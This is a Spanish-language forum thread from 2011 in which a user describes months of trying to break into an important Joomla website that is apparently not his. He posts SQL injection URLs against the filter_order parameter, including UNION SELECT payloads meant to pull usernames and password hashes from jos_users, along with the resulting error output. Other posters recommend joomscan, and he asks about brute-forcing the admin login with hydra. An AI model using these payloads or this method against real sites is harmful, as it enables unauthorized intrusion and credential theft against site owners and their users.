Joomla hack...

Iniciado por bruno9111, 14 Abril 2011, 12:38 PM

0 Miembros y 1 Visitante están viendo este tema.

bruno9111

Hola a todos.
LLevo ya un par de meses intentando entrar en una pagina web en joomla. Me plantie como reto una pagina bastante importante el hecho es que llevo meses estudiandola y no le he podido sacar nada. Hasta ayer, estaba haciendo unas pruebas y me di cuenta que una parte es vulnerable,

/index.php?option=com_weblinks&view=category&id=2:asdas&limit=10&filter_order_Dir=&filter_order=%00--

filter_order es injectable. entonces me devuelve el siguiente error la web:




Joomla! Specific Links

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /cms/libraries/joomla/database/database/mysql.php on line 344

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /cms/libraries/joomla/database/database/mysql.php on line 344
Web LinksA selection of links that are all related to the Joomla! Project.

Warning: Invalid argument supplied for foreach() in /cms/components/com_weblinks/views/category/tmpl/default_items.php on line 38


Pero si por ejemplo en vez de %00-- pongo DESC;SELECT+'X'--

Me suelta el mismo error, osea, no logro que me suelte el error de: en la tabla tal... etc. Existe algun tipo de proteccion para que el servidor no muestre los errores o algo?

A alguien se le occurre algo?
Thank yous

tragantras

el error que te está tirando la web es porque se está invocando el método mysq_num_rows sobre un recurso que no es válido, para que nos entendamos, la query ha fallado, porque no es una sentencia válida de mysql (por lo que has inyectado) y no se puede calcular un mysql_num_rows() sobre un recurso que no sea mysql (aunque sea vacio, pero válido)

la última linea viene siendo pq se invoca foreach() sobre algo que no es un array, por lo mismo que arriba, si la consulta es inválida, al obtener el resultado no obtenemos un array.

Poooooor otra parte, intentas hacer stacked queries con %00-- pongo DESC;SELECT+'X'--, y eso, my friend, en mysql y/o php no se puede, ya sabes uniones a muerte.
Colaboraciones:
1 2

bruno9111

Muchas gracias, voy a probar con union.. a ver que tal, igualmente la vulnerabilidad es esta:

Gracias de nuevo! ya contare como fue asi alguien mas podra aprender sobre esto!

bruno9111

Bueno he hecho las siguientes pruebas y nada :(

index.php?option=com_weblinks&view=category&id=2:asdas&limit=10&filter_order_Dir=&filter_order=DESC;UNION+SELECT+concat(username,0x3a,0x3a,password),2+from+jos_users--
index.php?option=com_weblinks&view=category&id=2:asdas&limit=10&filter_order_Dir=&filter_order=DESC+UNION+SELECT+concat(username,0x3a,0x3a,password),1+from+jos_users--

Estos sueltan la siguiente respuesta:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /cms/libraries/joomla/database/database/mysql.php on line 344

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /cms/libraries/joomla/database/database/mysql.php on line 344
Web LinksA selection of links that are all related to the Joomla! Project.

Warning: Invalid argument supplied for foreach() in /cms/components/com_weblinks/views/category/tmpl/default_items.php on line 38


index.php?option=com_contact&task=&boxchecked=0&filter_order=a.date_time&filter_order_Dir=%UNION SELECT concat(username,0x3a,0x3a,password),2 from jos_users--
index.php?option=com_contact&task=&boxchecked=0&filter_order=a.date_time&filter_order_Dir=%UNION+SELECT+concat(username,0x3a,0x3a,password),2 from jos_users--

Este suelta la siguiente respuesta:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /cms/libraries/joomla/database/database/mysql.php on line 344

Warning: Invalid argument supplied for foreach() in /cms/components/com_contact/views/category/tmpl/default_items.php on line 5


Alguna sugerencia de cambio de codigo ?

dimitrix

Buenos días, en la BackTrack 4 encontrarás una 'bonita' aplicación con la que podrás auditar sistemas Joomla.

Realmente todos suelen ser vulnerables a un módulo que suelen llevar por defecto. (Lo probé anoche y no tenía mucho tiempo de ver de que se trataba).

Un saludo.




bruno9111

Gracias Dimitrix, pues voy a probar a ver que tal, porque sinceramente las prueba que fui haciendo fueron todas solo con el navegador.. y puff... te mueres de viejo! ya que la pagina que estoy intentando penetrar, tiene un firewall o algo que impide que le haga scanning con joomla scan, que aunque no se una potente herramienta da muchas informaciones, como por ejemplo la version que es.. que no todos la dicen.

Bueno pues vamos a usar a nuestro amigo linux a ver que tal va, espero poder ejecutarlo desde cd, porque no tengo particiones y como que descargar el magic partition, no da.. jeje

Un saludo! y viva este foro y su gente que siemrpe estan dispuesto a hechar un cable a los mas nuevos en esto :)

dimitrix

Está tanto para LiveCD (DVD realmente) como para una consola virtual.

Realizo auditorías y para las webs creadas desde 0 es lo mejor con el navegador (logicamente pasas algunos programas tipo Xsss), pero para Joomla hay muchas ayudas.

Lo mejor de la aplicación que te he dicho es que te detecta también si tiene firewall y te muestra la información, además de todas las versiones de cada módulo que encuentra del Joomla que le indicas.

Espero haberte ayudado.




bruno9111

Dimitrix.. Me has ayudado mucho, ahora unas dos ultimas preguntas, a ver si podrias ayudarme, me he descargado backtrack de la pagina oficial:
http://www.backtrack-linux.org/downloads/
El ultimo que sale para descargar, lo copie en un dvd y cuando arranco, me abre bien, solo que cuando selecciono una de las opciones, como por ejemplo ejecutar en modo grafico 1024x720, me salen 5 lineas de errores, y luego la parte para escribir comandos, escribo help, para ver las opciones, pero me salen muchas y pero no aparece el comando para modo grafico... y por ejemplo si pruebo algun comando tipo ifconfig no hace nada. Puede ser que algun driver no sea compatible con este linux? Sera la version que es muy nueva y la subieron con errores?
Busque en google sobre ese error y no encontre ninguna informacion.. Asique no se que sera.. Si no sabes al respecto o te estoy dando pocos datos, no pasa nada intentare solucionarlo por mi mismo.
En cambio lo que ahora mas importante que te queria preguntar, como se llama la aplicacion para testear joomla? O si es solo por comandos, tengo que buscar algo en especial descartando la busqueda, "hackear joomla con backtrack"

Muchas gracias-
Un saludo!

dimitrix

A ver, la verdad 'es como todos los Linux', la primera vez que lo inicié me salía con comandos puse xwindows o windowsx (ya no me acuerdo) y me inició en modo gráfico.

En el BT4 en auditoría web (menú deplegable) seleccionas uno que empieza por Joo y listo (sólo hay uno).

Un saludo!




bruno9111

Bueno, pues ya he instalado el back track 4, hecho muchas pruebas, y la verdad joomscan.pl no tiene mucho que es muy parecido al joomlascan para windows.

Ahora bien, la vulnerabilidad por la que empece el escanner no me la detecto. Me detecto alguna nueva que no sabia, pero eran falsas vulnerabilidades..... :(

No se bien como aplicar el union en la unica vulnerabilidad que encontre.. He encripatdo la url, pero tampoco va.. no se.. espero que algun experto me pueda ayudar.

Si no otra cosa que pense era en hacerle un brute force al admin, ya que esas versiones tienen todas como nombre de usuario admin y solo habria que buscar la password.. que seguramente debe ser una palabra en minisculas. Pero por lo que vi en back track, los brute force que hay, como medusa y hydra, me piden un diccionario para hacerlo, no hay manera de hacer que vaya generando las palabras directamente? como hace el brutus en windows? Probe con el brutus en windows y me da contraseñas falsas como correctas, ejemplo 'o' , 'p' etc..

http://www.website/cms/index.php?option=com_weblinks&view=category&id=2:asdas&limit=10&filter_order_Dir=&filter_order=DESC+UNION+SELECT+'X'--

Si alguien me ayuda con eso lo agradeceria.
Gracias a los que ya han colaborado, en cada prueba aprendo algo nuevo! :)